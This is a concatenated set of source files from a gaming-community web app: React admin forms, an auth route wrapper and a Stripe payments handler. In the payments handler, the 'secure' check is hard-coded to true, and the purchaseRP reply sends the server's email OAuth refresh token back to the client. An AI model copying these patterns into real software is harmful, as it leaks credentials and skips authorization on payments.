'Achievement Created', 'message': `New achievement, ${this.state.achievement.title}, successfully created.`, 'type': 'success', 'delay': 3000 }); }, 'achievementUpdated': () => { this.props.addAlert({ 'title': 'Achievement Updated', 'message': `Achievement, ${this.state.achievement.title}, was successfully updated.`, 'type': 'success', 'delay': 3000 }); }, 'notFound': () => { this.props.addAlert({ 'title': 'Achievement Not Found', 'message': `No achievement found with id, ${this.props.match.params.achievementId}`, 'type': 'error', 'delay': 3000 }); }, 'achievementDeleted': () => { this.props.addAlert({ 'title': 'Achievement Deleted', 'message': 'Achievement was successfully deleted from database.', 'type': 'success', 'delay': 3000 }); }, 'uploadSuccess': () => { this.props.addAlert({ 'title': 'Upload Success', 'message': `New file successfully uploaded. Click 'update' to complete transaction.`, 'type': 'success', 'delay': 3000 }); }, 'fileRemoved': () => { this.props.addAlert({ 'title': 'File Deleted', 'message': `File was successfully deleted.`, 'type': 'info', 'delay': 3000 }); } } return alerts[selector](); } uploadFiles(files) { let directoryPath = `achievements/`; return uploadFiles(files, '/files/add', directoryPath, { 'identifier': 'achievement' }); } render() { let formIsInvalid = getFormErrorCount(this.props.forms, 'achievementForm') > 0; return ( <ViewWrapper headerImage="/images/Titles/Achievement_Edit.png" headerAlt="Achievement Edit"> <div className="small-12 columns"> <hr/> <AdminMenu></AdminMenu> <hr/> </div> <div className="row"> <div className="small-12 columns"> <h2>{this.state.newAchievement ? 'Create Achievement' : `${this.state.achievement.title}`}</h2> </div> <div className="small-12 medium-8 large-9 columns"> <fieldset> <Form name="achievementForm" submitButton={false} handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Title</label> <Input type="text" name="title" value={this.state.achievement.title} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Category</label> <Input type="text" name="category" value={this.state.achievement.category} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Priority</label> <Input type="number" name="priority" value={this.state.achievement.priority} handleInputChange={this.handleInputChange} step="1" required={true} /> </div> </div> <div className="row"> <div className="form-group small-12 columns"> <label className="required">Description</label> <TextArea type="text" name="description" value={this.state.achievement.description} rows="4" handleInputChange={this.handleInputChange} required={true} /> </div> </div> <div className="row"> <div className="small-12 medium-4 columns"> <label>Achievement Icon</label> { this.state.files[0] && <div> { this.state.files.length > 0 && <img src={`${this.state.files[0].locationUrl}${this.state.files[0].name}`} /> } </div> } </div> <div className="small-12 medium-4 columns"> <label>Image Name</label> <div> { this.state.files.length > 0 && <h6>{this.state.files[0].name}</h6> } { this.state.files.length > 0 && this.state.files[0].id && <button className="button alert" onClick={this.handleDeleteFile.bind(this, this.state.files[0].id, 0)}>Delete File?</button> } </div> </div> <div className="form-group small-12 medium-4 columns"> <label>Upload File</label> <FileUpload name="achievement" value={this.state.files} handleFileUpload={this.handleFileUpload} handleDeleteFile={this.handleDeleteFile} hideFileList={true} accept="image/*" maxFiles={1}/> </div> </div> </Form> </fieldset> </div> <div className="small-12 medium-4 large-3 columns"> <div className="panel push-bottom-2x push-top"> <div className="panel-content text-center"> <button className="button collapse black small-12" onClick={this.handleSubmit} disabled={formIsInvalid}>{this.state.newAchievement ? 'Create Achievement' : 'Update Achievement'}</button> </div> </div> { this.props.match.params.achievementId && <div className="panel push-bottom-2x push-top"> <div className="panel-content text-center"> <button className="button collapse alert small-12" onClick={this.handleDeleteAchievement}>Delete Achievement?</button> </div> </div> } </div> </div> </ViewWrapper> ) } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(EditAchievement)); <file_sep>/src/library/authentication/components/configureAuthRoute.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Route, Redirect, withRouter} from 'react-router-dom'; import {AlertActions} from '../../alerts'; import {RedirectWithStatus} from '../../routing'; import UserActions from '../actions/UserActions'; import checkAuthorization from '../utilities/checkAuthorization'; let _redirectPath = '/'; const mapStateToProps = (state) => { return { 'user': state.user, 'isAuthenticated': state.isAuthenticated, 'routing': state.routing } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'setRedirect': UserActions.setRedirect }, dispatch); }; function configureAuthRoute(roleConfig) { class PrivateRoute extends React.Component { constructor() { super(); this.state = {}; this.checkAccess = this.checkAccess.bind(this); this.showAlert = this.showAlert.bind(this); } // Set timeouts to prevent setState call during rending checkAccess(accessLevels) { if (!this.props.isAuthenticated) { setTimeout(() => { this.showAlert('notAuthenticated'); }); this.props.setRedirect(this.props.history.location.pathname); _redirectPath = '/login'; return false; } else { let accessGranted = checkAuthorization(accessLevels, this.props.user, roleConfig); if (accessGranted) { return true; } else { this.props.setRedirect(this.props.history.location.pathname); _redirectPath = this.props.customRedirect || '/login'; setTimeout(() => { this.showAlert('notAuthorized'); }); return false; } } } showAlert(selector) { const alerts = { 'notAuthenticated': () => { this.props.addAlert({ 'title': 'Not Authenticated', 'message': 'Please login or register to continue.', 'type': 'info', 'delay': 4000 }); }, 'notAuthorized': () => { this.props.addAlert({ 'title': 'Not Authorized', 'message': 'You do not have authorization to view this content.', 'type': 'error', 'delay': 4000 }); }, } return alerts[selector](); } render() { const Component = this.props.component; const accessLevels = this.props.access; const routeProps = Object.assign({}, this.props); delete routeProps.access; delete routeProps.component; delete routeProps.customRedirect; let isAuthorized = this.checkAccess(accessLevels); return ( <Route {...routeProps} render={(props) => ( isAuthorized ? ( <Component {...props}/> ) : ( <RedirectWithStatus status={307} to={{ pathname: _redirectPath, state: { from: props.location } }}/> ) )}/> ) } } return withRouter(connect(mapStateToProps, mapDispatchToProps)(PrivateRoute)) } export default configureAuthRoute; <file_sep>/src/index.jsx import React from 'react'; import {render} from 'react-dom'; import {BrowserRouter} from 'react-router-dom'; import {Provider} from 'react-redux' import {createBrowserHistory} from 'history'; import {syncHistoryWithStore} from 'react-router-redux'; import Layout from './components/Layout'; import store from './store'; // TODO: This does not seem to be working const browserHistory = createBrowserHistory(); let history = syncHistoryWithStore(browserHistory, store); window.onload = () => { render( <Provider store={store}> <BrowserRouter history={history}> <Layout /> </BrowserRouter> </Provider>, document.getElementById('main') ); }; <file_sep>/src/library/routing/index.js 'use strict'; import RedirectWithStatus from './components/RedirectWithStatus'; import Status from './components/Status'; export { RedirectWithStatus, Status }; <file_sep>/compiled-server/routes/handlers/payments.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _envVariables = require('../../../envVariables'); var _envVariables2 = _interopRequireDefault(_envVariables); var _boom = require('boom'); var _boom2 = _interopRequireDefault(_boom); var _roleConfig = require('../../../roleConfig'); var _roleConfig2 = _interopRequireDefault(_roleConfig); var _pointPriceConfig = require('../../../pointPriceConfig'); var _pointPriceConfig2 = _interopRequireDefault(_pointPriceConfig); var _stripe = require('stripe'); var _stripe2 = _interopRequireDefault(_stripe); var _rpPoolUpdate = require('../../email-templates/rpPoolUpdate'); var _rpPoolUpdate2 = _interopRequireDefault(_rpPoolUpdate); var _nodemailer = require('nodemailer'); var _nodemailer2 = _interopRequireDefault(_nodemailer); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var stripeService = (0, _stripe2.default)(_envVariables2.default.stripe.secret); var transporter = _nodemailer2.default.createTransport({ 'service': 'Gmail', 'auth': { 'type': 'OAuth2', 'clientId': _envVariables2.default.email.OAuth2.clientId, 'clientSecret': _envVariables2.default.email.OAuth2.clientSecret } }); // Product Route Configs var payments = { createSubscription: function createSubscription(request, reply) { var plan = JSON.parse(request.payload.plan); var token = request.payload.token ? JSON.parse(request.payload.token) : undefined; _models2.default.User.find({ 'where': { '$or': [{ 'email': request.payload.email }, { 'id': request.payload.UserId }] } }).then(function (user) { if (user) { if (user.customerId) { stripeService.subscriptions.create({ 'customer': user.customerId, 'plan': plan.id }, function (error, subscription) { if (error) { reply(_boom2.default.badRequest(error)); } var userConfig = {}; _roleConfig2.default.forEach(function (role) { if (role.name !== 'public') { userConfig[role.name] = false; } }); if (user.eventAdmin) { userConfig.eventAdminSubscriber = true; } else if (user.member) { userConfig.subscriber = true; } var rpPool = subscription.plan.metadata.rewardPoints ? parseInt(subscription.plan.metadata.rewardPoints, 10) : 0; userConfig.rewardPoints = user.get({ 'plain': true }).rewardPoints + rpPool; user.updateAttributes(userConfig).then(function () { _models2.default.UserNotification.create({ 'UserId': request.payload.UserId, 'type': 'newAchievement', 'fromUsername': 'systemAdmin', 'details': subscription.plan.metadata.achievement }).then(function () { reply(subscription).code(200); }); }); }); } else { // Create the user in stripe if (!token.id) { reply(_boom2.default.badRequest('Checkout token is required for new customers')); return; } stripeService.customers.create({ 'email': request.payload.email, 'source': token.id }, function (error, customer) { if (error) { reply(_boom2.default.badRequest(error)); return; } stripeService.subscriptions.create({ 'customer': customer.id, 'plan': plan.id }, function (error, subscription) { if (error) { reply(_boom2.default.badRequest(error)); return; } var userConfig = {}; _roleConfig2.default.forEach(function (role) { if (role.name !== 'public') { userConfig[role.name] = false; } }); if (user.eventAdmin) { userConfig.eventAdminSubscriber = true; } else if (user.member) { userConfig.subscriber = true; } userConfig.customerId = customer.id; var rpPool = subscription.plan.metadata.rewardPoints ? parseInt(subscription.plan.metadata.rewardPoints, 10) : 0; userConfig.rewardPoints = user.get({ 'plain': true }).rewardPoints + rpPool; user.updateAttributes(userConfig).then(function () { _models2.default.UserNotification.create({ 'UserId': request.payload.UserId, 'type': 'newAchievement', 'fromUsername': 'systemAdmin', 'details': subscription.plan.metadata.achievement }).then(function () { reply(subscription).code(200); }).catch(function (error) { console.log(error); }); }); }); }); } } else { reply(_boom2.default.notFound('No user found with the supplied e-mail')); } }); }, getSubscriptionPlans: function getSubscriptionPlans(request, reply) { stripeService.plans.list({ limit: 100 }, function (error, plans) { if (error) { reply(_boom2.default.badRequest(error)); return; } reply(plans).code(200); }); }, getCustomer: function getCustomer(request, reply) { _models2.default.User.find({ 'where': { 'id': request.params.id } }).then(function (user) { stripeService.customers.retrieve(user.customerId, function (error, customer) { if (error) { reply(_boom2.default.badRequest(error)); } else { reply(customer).code(200); } }); }); }, payShippingCost: function payShippingCost(request, reply) { var token = JSON.parse(request.payload.token); var shippingCost = request.payload.details.shippingCost; var details = request.payload.details; // TODO: Add extra security check var secure = true; if (secure) { stripeService.charges.create({ 'amount': shippingCost, 'currency': 'usd', 'description': details.description, 'receipt_email': details.email, 'source': token.id }, function (err, charge) { if (err) { reply(_boom2.default.badRequest(err)); } else { reply(charge).code(200); } }); } else { reply(_boom2.default.badRequest('Don\'t fuck with the machine!')); } }, purchaseRP: function purchaseRP(request, reply) { var token = JSON.parse(request.payload.token); var priceIndex = request.payload.details.priceIndex; var details = request.payload.details; // TODO: Add extra security check var secure = true; if (secure) { stripeService.charges.create({ 'amount': _pointPriceConfig2.default[priceIndex].value, 'currency': 'usd', 'description': details.description, 'receipt_email': details.email, 'source': token.id }, function (err, charge) { if (err) { reply(_boom2.default.badRequest(err)); } else { // Find user and increment reward points _models2.default.User.find({ 'where': { 'id': request.params.id } }).then(function (user) { if (user) { user.increment({ 'rpPool': _pointPriceConfig2.default[priceIndex].rp }).then(function (user) { user = user.get({ 'plain': true }); var basicUser = { 'id': user.id, 'username': user.username, 'firstName': user.firstName, 'lastName': user.lastName, 'rewardPoints': user.rewardPoints, 'rpPool': user.rpPool, 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; var rpMailConfig = { 'from': _envVariables2.default.email.user, 'to': user.email, 'subject': 'RP Pool Updated: Receipt for ' + _pointPriceConfig2.default[priceIndex].rp + ' RP', 'html': (0, _rpPoolUpdate2.default)(basicUser), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(rpMailConfig, function (error, info) { if (error) { console.log(error); reply(_boom2.default.badRequest('Reward Point Email Failed.')); } reply({ 'user': basicUser, 'charge': charge }).code(200); }); }); } else { reply().code(404); } }).catch(function (error) { console.log(error); }); } }); } else { reply(_boom2.default.badRequest('Don\'t fuck with the machine!')); } } }; exports.default = payments;<file_sep>/src/components/pages/admin/EditProductOrder.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../../library/alerts'; import {handlers} from '../../../library/utilities'; import {Form, Input, TextArea, Select, CheckBox, getFormErrorCount} from '../../../library/validations'; import ViewWrapper from '../../ViewWrapper'; import AdminMenu from '../../pieces/AdminMenu'; import ProductOrderService from '../../../services/ProductOrderService'; const mapStateToProps = (state) => { return { 'forms': state.forms } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert }, dispatch); } class EditProductOrder extends React.Component { constructor() { super(); this.state = { 'productOrder': {}, 'newProductOrder': false, 'isEditing': false } this.handleInputChange = this.handleInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); this.toggleEditing = this.toggleEditing.bind(this); } componentDidMount() { document.title = "Battle-Comm | Product Order Edit"; if (this.props.match.params.orderId) { ProductOrderService.get(this.props.match.params.orderId).then((productOrder) => { this.setState({ 'productOrder': productOrder }); }); } else { this.setState({ 'newProductOrder': true }) } } handleInputChange(e) { e.preventDefault(); this.setState({ 'productOrder': handlers.updateInput(e, this.state.productOrder) }); } handleSubmit(e) { e.preventDefault(); let order = this.state.productOrder; let method = this.props.match.params.orderId ? 'update' : 'create'; ProductOrderService[method]((method === 'update' ? order.id : order), (method === 'update' ? order : null)).then((productOrder) => { this.setState({ 'productOrder': productOrder, 'isEditing': false }); if (this.props.match.params.productOrderId) { this.showAlert('productOrderUpdated'); this.props.history.push('/admin'); } else { this.showAlert('productOrderCreated'); } }); } showAlert(selector) { const alerts = { 'productOrderCreated': () => { this.props.addAlert({ 'title': 'News Order Created', 'message': `New order successfully created.`, 'type': 'success', 'delay': 3000 }); }, 'productOrderUpdated': () => { this.props.addAlert({ 'title': 'Product Order Updated', 'message': `Order successfully updated.`, 'type': 'success', 'delay': 3000 }); } } return alerts[selector](); } toggleEditing() { this.setState({ 'isEditing': !this.state.isEditing }); } render() { let formIsInvalid = getFormErrorCount(this.props.forms, 'productOrderForm') > 0; return ( <ViewWrapper headerImage="/images/Titles/Product_Edit.png" headerAlt="Product Edit"> <div className="small-12 columns"> <hr/> <AdminMenu></AdminMenu> <hr/> </div> <div className="row"> <div className="small-12 columns"> <h2>Edit/Fulfil Product Order</h2> </div> <div className="small-12 medium-8 large-9 columns"> <fieldset disabled={!this.state.isEditing}> <Form name="productOrderForm" submitButton={false}> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Customer Name</label> <Input type="text" name="customerFullName" value={this.state.productOrder.customerFullName} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Customer Email</label> <Input type="text" name="customerEmail" value={this.state.productOrder.customerEmail} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label>Phone</label> <Input type="text" name="phone" value={this.state.productOrder.phone} handleInputChange={this.handleInputChange} /> </div> </div> <h3>Shipping Address</h3> <div className="row"> <div className="form-group small-10 columns"> <label className="required">Street</label> <Input type="text" name="shippingStreet" value={this.state.productOrder.shippingStreet} handleInputChange={this.handleInputChange} required={true}/> </div> <div className="form-group small-2 columns"> <label>Apt/Suite</label> <Input type="text" name="shippingApartment" value={this.state.productOrder.shippingApartment} handleInputChange={this.handleInputChange}/> </div> </div> <div className="row"> <div className="form-group small-12 medium-3 columns"> <label className="required">City</label> <Input type="text" name="shippingCity" value={this.state.productOrder.shippingCity} handleInputChange={this.handleInputChange} required={true}/> </div> <div className="form-group small-12 medium-3 columns"> <label className="required">State</label> <Input type="text" name="shippingState" value={this.state.productOrder.shippingState} handleInputChange={this.handleInputChange} required={true}/> </div> <div className="form-group small-12 medium-3 columns"> <label className="required">Zipcode</label> <Input type="text" name="shippingZip" value={this.state.productOrder.shippingZip} handleInputChange={this.handleInputChange} validate="zipcode" required={true}/> </div> <div className="form-group small-12 medium-3 columns"> <label className="required">Country</label> <Select type="text" name="shippingCountry" value={this.state.productOrder.shippingCountry} handleInputChange={this.handleInputChange} required={true}> <option value="">--Select--</option> <option value="US">United States</option> </Select> </div> </div> <div className="row"> <div className="small-12 columns"> <label>Order Details</label> <TextArea name="orderDetails" value={this.state.productOrder.orderDetails || ''} rows="4" handleInputChange={this.handleInputChange}></TextArea> </div> </div> </Form> </fieldset> </div> <div className="small-12 medium-4 large-3 columns"> <div className="panel push-bottom-2x push-top"> <div className="panel-title color-black"> Update Status </div> <div className="panel-content text-center"> <Form name="productOrderForm" submitButton={false}> <Select type="text" name="status" value={this.state.productOrder.status} handleInputChange={this.handleInputChange} disabled={!this.state.isEditing}> <option value="processing">Processing</option> <option value="shipped">Shipped</option> <option value="complete">Complete</option> </Select> </Form> </div> </div> <div className="panel push-bottom-2x push-top"> { this.state.isEditing ? <div className="panel-content text-center"> <button className="button black small-12" onClick={this.handleSubmit} disabled={formIsInvalid}>Save Changes</button> </div> : <div className="panel-content text-center"> <button className="button black small-12" onClick={this.toggleEditing}>Edit Order?</button> </div> } </div> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(EditProductOrder)); <file_sep>/server/models/bannerSlide.js 'use strict'; module.exports = function(sequelize, DataTypes) { var BannerSlide = sequelize.define('BannerSlide', { 'actionText': DataTypes.STRING, 'title': DataTypes.STRING, 'text': DataTypes.TEXT, 'link': DataTypes.STRING, 'pageName': DataTypes.STRING, 'priority': DataTypes.INTEGER, 'isActive': { 'type': DataTypes.BOOLEAN, 'default': false } }, { 'classMethods': { associate: function(models) { BannerSlide.hasOne(models.File); } } }); return BannerSlide; }; <file_sep>/src/actions/BannerSlideActions.js 'use strict'; import BannerSlideConstants from '../constants/BannerSlideConstants'; import BannerSlideService from '../services/BannerSlideService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(BannerSlideConstants.INITIATE_BANNER_SLIDE_REQUEST, id)); return BannerSlideService.get(id).then((bannerSlide) => { dispatch(_returnResponse(BannerSlideConstants.GET_BANNER_SLIDE, bannerSlide)); return bannerSlide; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(BannerSlideConstants.INITIATE_BANNER_SLIDE_REQUEST)); return BannerSlideService.getAll().then((bannerSlides) => { dispatch(_returnResponse(BannerSlideConstants.GET_BANNER_SLIDES, bannerSlides)); return bannerSlides; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(BannerSlideConstants.INITIATE_BANNER_SLIDE_REQUEST)); return BannerSlideService.create(data).then((bannerSlide) => { dispatch(_returnResponse(BannerSlideConstants.CREATE_BANNER_SLIDE, bannerSlide)); return bannerSlide; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(BannerSlideConstants.INITIATE_BANNER_SLIDE_REQUEST)); return BannerSlideService.update(id, data).then((bannerSlide) => { dispatch(_returnResponse(BannerSlideConstants.UPDATE_BANNER_SLIDE, bannerSlide)); return bannerSlide; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(BannerSlideConstants.INITIATE_BANNER_SLIDE_REQUEST, id)); return BannerSlideService.remove(id).then((response) => { dispatch(_returnResponse(BannerSlideConstants.REMOVE_BANNER_SLIDE, id)); return response; }); }; } }; <file_sep>/src/components/pages/admin/EditManufacturer.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {AlertActions} from '../../../library/alerts'; import {handlers, uploadFiles} from '../../../library/utilities'; import {Form, Input, TextArea, Select, FileUpload, getFormErrorCount} from '../../../library/validations'; import ViewWrapper from '../../ViewWrapper'; import FileService from '../../../services/FileService'; import ManufacturerService from '../../../services/ManufacturerService'; import AdminMenu from '../../pieces/AdminMenu'; const mapStateToProps = (state) => { return { 'forms': state.forms } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert }, dispatch); } class EditManufacturer extends React.Component { constructor() { super(); this.state = { 'files': [], 'manufacturer': { 'File': {} }, 'newManufacturer': false, 'newFiles': [] } this.getManufacturer = this.getManufacturer.bind(this); this.handleDeleteFile = this.handleDeleteFile.bind(this); this.handleFileUpload = this.handleFileUpload.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { document.title = "Battle-Comm | Manufacturer Edit"; if (this.props.match.params.manufacturerId) { this.getManufacturer(this.props.match.params.manufacturerId).catch(() => { this.showAlert('notFound'); this.props.history.push('/admin/manufacturers'); }); } else { this.setState({ 'newManufacturer': true }) } } getManufacturer(manufacturerId) { return ManufacturerService.get(manufacturerId).then((manufacturer) => { this.setState({ 'files': manufacturer.File ? [manufacturer.File] : [], 'manufacturer': manufacturer }); }); } handleDeleteFile(fileId, index, e) { if (e) { e.preventDefault(); } FileService.remove(fileId).then(() => { let files = this.state.files; files.splice(index, 1); this.setState({ 'files': files }); this.showAlert('fileRemoved'); }); } handleFileUpload(files) { let manufacturer = this.state.manufacturer; let newFiles = this.state.newFiles; this.uploadFiles(files).then((responses) => { responses = responses.map((response, i) => { response = { 'name': response.data.file.name, 'size': response.data.file.size, 'type': response.data.file.type, 'locationUrl': response.data.file.locationUrl }; return response; }); let files = responses.concat(this.state.files); newFiles = newFiles.concat(responses); this.setState({ 'files': files, 'newFiles': newFiles }); this.showAlert('uploadSuccess'); }); } handleInputChange(e) { this.setState({ 'manufacturer': handlers.updateInput(e, this.state.manufacturer) }); } handleSubmit(e) { e.preventDefault(); let method = this.props.match.params.manufacturerId ? 'update': 'create'; let newFiles = this.state.newFiles; ManufacturerService[method]((method === 'update' ? this.state.manufacturer.id : this.state.manufacturer), (method === 'update' ? this.state.manufacturer : null)).then((manufacturer) => { if (newFiles.length > 0) { newFiles.forEach((file) => { FileService.create({ 'ManufacturerId': manufacturer.id, 'identifier': 'manufacturerPhoto', 'locationUrl': file.locationUrl, 'name': file.name, 'size': file.size, 'type': file.type }); }); } this.setState({ 'manufacturer': manufacturer }); if (method === 'update') { this.showAlert('manufacturerUpdated'); this.props.history.push('/admin/manufacturers'); } else { this.props.history.push(`/admin/manufacturers/edit/${manufacturer.id}`); this.showAlert('manufacturerCreated'); } }); } showAlert(selector) { const alerts = { 'manufacturerCreated': () => { this.props.addAlert({ 'title': 'New Manufacturer Added', 'message': `Manufacturer, ${this.state.manufacturer.name}, successfully created.`, 'type': 'success', 'delay': 3000 }); }, 'manufacturerUpdated': () => { this.props.addAlert({ 'title': 'New Manufacturer Added', 'message': `Manufacturer, ${this.state.manufacturer.name}, successfully updated`, 'type': 'success', 'delay': 3000 }); }, 'notFound': () => { this.props.addAlert({ 'title': 'Manufacturer Not Found', 'message': `No manufacturer found with id, ${this.props.match.params.manufacturerId}`, 'type': 'error', 'delay': 3000 }); }, 'uploadSuccess': () => { this.props.addAlert({ 'title': 'Upload Success', 'message': `New file successfully uploaded. Click 'update' to complete transaction.`, 'type': 'success', 'delay': 3000 }); }, 'fileRemoved': () => { this.props.addAlert({ 'title': 'File Deleted', 'message': `File was successfully deleted.`, 'type': 'info', 'delay': 3000 }); } } return alerts[selector](); } uploadFiles(files) { let directoryPath = `manufacturers/`; return uploadFiles(files, '/files/add', directoryPath, { 'identifier': 'manufacturerPhoto' }); } render() { let formIsInvalid = getFormErrorCount(this.props.forms, 'manufacturerForm') > 0; return ( <ViewWrapper headerImage="/images/Titles/Manufacturer_Edit.png" headerAlt="Manufacturer Edit"> <div className="small-12 columns"> <hr/> <AdminMenu></AdminMenu> <hr/> </div> <div className="row"> <div className="small-12 columns"> <h2>{this.state.newManufacturer ? 'Create New Manufacturer' : `${this.state.manufacturer.name}`}</h2> </div> <div className="small-12 medium-8 large-9 columns"> <fieldset> <Form name="manufacturerForm" submitButton={false} handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Manufacturer Name</label> <Input type="text" name="name" value={this.state.manufacturer.name} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label>Url to Related Webpage</label> <Input type="text" name="url" value={this.state.manufacturer.url} handleInputChange={this.handleInputChange} /> </div> <div className="form-group small-12 medium-4 columns"> <label>Description</label> <TextArea name="description" value={this.state.manufacturer.description} handleInputChange={this.handleInputChange} rows="3"/> </div> </div> <div className="row"> <div className="small-12 medium-4 columns"> <label>Manufacturer Image</label> { this.state.files.length > 0 && <img src={`${this.state.files[0].locationUrl}${this.state.files[0].name}`} /> } </div> <div className="small-12 medium-4 columns"> <label>Image Name</label> { this.state.files.length > 0 && <h6>{this.state.files[0].name}</h6> } { this.state.files.length > 0 && this.state.files[0].id && <button className="button alert" onClick={this.handleDeleteFile.bind(this, this.state.files[0].id, 0)}>Delete File?</button> } </div> <div className="form-group small-12 medium-4 columns"> <label>Related Photo</label> <FileUpload name="manufacturerPhoto" value={this.state.files} handleFileUpload={this.handleFileUpload} handleDeleteFile={this.handleDeleteFile} hideFileList={true} maxFiles={1} accept="image/*"/> </div> </div> </Form> </fieldset> </div> <div className="small-12 medium-4 large-3 columns"> <div className="panel push-bottom-2x push-top"> <div className="panel-content text-center"> <button className="button collapse black small-12" onClick={this.handleSubmit} disabled={formIsInvalid}>{this.state.newGameSystem ? 'Create Manufacturer' : 'Update Manufacturer'}</button> </div> </div> </div> </div> </ViewWrapper> ) } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(EditManufacturer)); <file_sep>/src/components/pieces/BannerSlideManagement.jsx 'use strict'; import React from 'react'; import {Link} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {AlertActions} from '../../library/alerts'; import Modal from '../../library/modal'; import {handlers, uploadFiles, formatJSONDate} from '../../library/utilities'; import {Form, Input, TextArea, Select, CheckBox, FileUpload, getFormErrorCount} from '../../library/validations'; import FileService from '../../services/FileService'; import BannerSlideActions from '../../actions/BannerSlideActions'; import roleConfig from '../../../roleConfig'; import createAccessControl from '../../library/authentication/components/AccessControl'; const AccessControl = createAccessControl(roleConfig); const mapStateToProps = (state) => { return { 'slides': state.bannerSlides } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'getSlides': BannerSlideActions.getAll, 'createSlide': BannerSlideActions.create, 'deleteSlide': BannerSlideActions.remove, 'updateSlide': BannerSlideActions.update }, dispatch); } class BannerSlideManagement extends React.Component { constructor() { super(); this.state = { 'deleteSlideModalIsActive': false, 'currentSlide': { 'isActive': true, 'index': 0 }, 'files': [], 'newFiles': [], 'slidePendingDeletion': undefined, 'formIsActive': false } this.handleCheckBoxChange = this.handleCheckBoxChange.bind(this); this.handleDeleteFile = this.handleDeleteFile.bind(this); this.handleDeleteSlide = this.handleDeleteSlide.bind(this); this.handleFileUpload = this.handleFileUpload.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.resetForm = this.resetForm.bind(this); this.showAlert = this.showAlert.bind(this); this.toggleDeleteSlideModal = this.toggleDeleteSlideModal.bind(this); this.uploadFiles = this.uploadFiles.bind(this); } componentDidMount() { this.props.getSlides(); } editSlide(index) { // TODO: Investigate - This change may have been the reason form reset didn't work // immutable props was not previously enforced let slide = Object.assign({}, this.props.slides[index]); slide.index = index; this.setState({ 'formIsActive': true, 'currentSlide': slide, 'files': slide.File ? [slide.File] : [] }); } handleDeleteFile(fileId, e) { return; } handleDeleteSlide(e) { e.preventDefault(); this.props.deleteSlide(this.state.slidePendingDeletion.id).then((slide) => { let files = this.state.files; FileService.remove(this.state.slidePendingDeletion.File.id).then(() => { if (this.state.slidePendingDeletion.id === this.state.currentSlide.id) { this.resetForm(false); } files.splice(this.state.slidePendingDeletion.index, 1); this.setState({ 'deleteSlideModalIsActive': false }); this.showAlert('slideDeleted'); }); }); } handleCheckBoxChange(e) { this.setState({ 'currentSlide': handlers.updateCheckBox(e, this.state.currentSlide) }); } handleInputChange(e) { this.setState({ 'currentSlide': handlers.updateInput(e, this.state.currentSlide) }); } handleFileUpload(files) { let currentSlide = this.state.currentSlide; let newFiles = this.state.newFiles; this.uploadFiles(files).then((responses) => { responses = responses.map((response, i) => { response = { 'name': response.data.file.name, 'size': response.data.file.size, 'type': response.data.file.type, 'locationUrl': response.data.file.locationUrl }; return response; }); newFiles = newFiles.concat(responses); this.setState({ 'newFiles': newFiles }); this.showAlert('uploadSuccess'); }); } handleSubmit(e) { e.preventDefault(); let slide = this.state.currentSlide; slide.pageName = 'home'; let method = this.state.currentSlide.id ? 'updateSlide' : 'createSlide'; this.props[method]((method === 'updateSlide' ? slide.id : slide), (method === 'updateSlide' ? slide : null)).then((slide) => { let newFiles = this.state.newFiles; if (newFiles.length > 0) { FileService.create({ 'BannerSlideId': slide.id, 'identifier': 'bannerImage', 'locationUrl': 'banner/', 'name': newFiles[0].name, 'size': newFiles[0].size, 'type': newFiles[0].type }); } this.setState({ 'newFiles': [] }); if (this.state.currentSlide.id) { this.showAlert('slideUpdated'); } else { this.showAlert('slideCreated'); } this.resetForm(false); }); } resetForm(showForm = false, e) { if (e) { e.preventDefault(); } this.setState({ 'currentSlide': { 'id': undefined, 'isActive': true, 'index': undefined }, 'files': 